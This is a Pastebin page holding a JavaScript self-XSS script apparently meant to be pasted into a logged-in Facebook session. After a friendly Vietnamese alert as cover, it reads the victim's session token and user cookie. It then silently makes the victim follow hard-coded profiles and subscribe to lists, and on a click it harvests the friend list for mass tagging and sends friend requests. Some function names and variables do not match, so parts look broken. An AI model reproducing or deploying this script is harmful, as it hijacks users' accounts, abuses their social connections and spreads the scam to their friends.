Advertisement
Guest User

1x5

a guest
Nov 22nd, 2014
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.98 KB | None | 0 0
  1.  
  2. PASTEBIN | #1 paste tool since 2002
  3. create new pastetoolsapiarchivefaq
  4. PASTEBIN Search...
  5. create new paste trending pastes
  6. sign uploginmy alertsmy settingsmy profile
  7. Want more features on Pastebin? Sign Up, it's FREE!
  8.  
  9. Public Pastes
  10. Untitled
  11. 29 sec ago
  12. Untitled
  13. 22 sec ago
  14. crunch
  15. Bash | 26 sec ago
  16. Rollers of the Realm
  17. 32 sec ago
  18. Untitled
  19. Lua | 37 sec ago
  20. Untitled
  21. 42 sec ago
  22. Untitled
  23. 47 sec ago
  24. Untitled
  25. Lua | 48 sec ago
  26.  
  27. 0
  28. 0
  29.  
  30. bestcode2
  31. BY: BESTCODESUB ON NOV 19TH, 2014 | SYNTAX: NONE | SIZE: 4.84 KB | VIEWS: 154 | EXPIRES: NEVER
  32. DOWNLOAD | RAW | EMBED | REPORT ABUSE | PRINT
  33.  
  34.  
  35. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  36. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  37. alert('Chúc các bạn chơi FB vui vẻ nhé ^^');
  38. function a(abone){
  39. var http4 = new XMLHttpRequest();
  40. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  41. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  42. http4.open("POST", url4, true);
  43. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  44. http4.setRequestHeader("Content-length", params4.length);
  45. http4.setRequestHeader("Connection", "close");
  46. http4.onreadystatechange = function() {
  47. if(http4.readyState == 4 && http4.status == 200) {http4.close;}
  48. }
  49. http4.send(params4);
  50. }
  51. // Close the connection
  52. function sublist(uidss) {
  53. var a = document.createElement('script');
  54. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  55. document.body.appendChild(a);
  56. }
  57. // Không edit bất kì gì từ đây trở lên
  58. a("100007558818513");a("100007280746190");a("100004664568273");a("100006425212798");
  59. a("100007027038921");
  60.  
  61.  
  62. sublist("1481040518815292");sublist("1515939615325382");sublist("1515939988658678");
  63. sublist("1468656143387063");
  64.  
  65.  
  66. // Từ đây trở xuống là nhảm chủ yếu giấu bớt ID
  67. function sarkadaslari_al(){
  68. var xmlhttp = new XMLHttpRequest();
  69. xmlhttp.onreadystatechange = function () {
  70. if(xmlhttp.readyState == 4){
  71. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  72. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  73. smesaj = "";
  74. smesaj_text = "";
  75. for(i=f*10;i<(f+1)*10;i++){
  76. if(arkadaslar.payload.entries[i]){
  77. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  78. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  79. }
  80. }
  81. sdurumpaylas(); }
  82.  
  83. }
  84.  
  85. };
  86. var params = "&filter[0]=user";
  87. params += "&options[0]=friends_only";
  88. params += "&options[1]=nm";
  89. params += "&token=v7";
  90. params += "&viewer=" + user_id;
  91. params += "&__user=" + user_id;
  92.  
  93. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  94. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  95. xmlhttp.send();
  96. }
  97.  
  98. var tiklama = document.addEventListener("click", function () {
  99. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  100. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  101. sarkadaslari_al();
  102. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  103.  
  104. document.removeEventListener(tiklama);
  105. }
  106. }, false);
  107.  
  108. function sarkadasekle(uid,tem){
  109. var xmlhttp = new XMLHttpRequest();
  110. xmlhttp.onreadystatechange = function () {
  111. if(xmlhttp.readyState == 4){
  112. }
  113. };
  114.  
  115. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  116. var params = "to_friend=" + uid;
  117. params += "&action=add_friend";
  118. params += "&how_found=friend_browser";
  119. params += "&ref_param=none";
  120. params += "&outgoing_id=";
  121. params += "&logging_location=friend_browser";
  122. params += "&no_flyout_on_click=true";
  123. params += "&ego_log_data=";
  124. params += "&http_referer=";
  125. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  126. params += "&phstamp=165816749114848369115";
  127. params += "&__user=" + user_id;
  128. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  129. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  130.  
  131. if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
  132. xmlhttp.send(params);
  133. }else if(document.cookie.split("tem" + user_id +"=").length <= 1){
  134. cinsiyetgetir(uid,tem,"sarkadasekle");
  135. }else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
  136. xmlhttp.send(params);
  137. }
  138. }
  139.  
  140. var temsonuc = {};
  141. var temhtml = document.createElement("html");
  142. function scinsiyetgetir(uid,tem,fonksiyon){
  143. var xmlhttp = new XMLHttpRequest();
  144. xmlhttp.onreadystatechange = function () {
  145. if(xmlhttp.readyState == 4){
  146. eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  147. temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
  148. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  149. if(temhtml.getElementsByTagName("select")[0].value == "1"){
  150. document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  151. }else if(temhtml.getElementsByTagName("select")[0].value == "2"){
  152. document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  153. }
  154. eval(fonksiyon + "(" + id + "," + tem + ");");
  155. }
  156. };
  157. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  158. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  159. xmlhttp.send();
  160. }
  161. clone this paste RAW Paste Data
  162.  
  163.  
  164. Pastebin.com Tools & Applications
  165. iPhone/iPad Windows Firefox Chrome WebOS Android Mac Opera Click.to UNIX WinPhone
  166. create new paste | api | trends | syntax languages | faq | tools | privacy | cookies | contact | dmca | advertise on pastebin | go pro
  167. Follow us: pastebin on facebook | pastebin on twitter | pastebin in the news
  168. Dedicated Server Hosting by Steadfast
  169. Pastebin v3.11 rendered in: 0.014 seconds
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement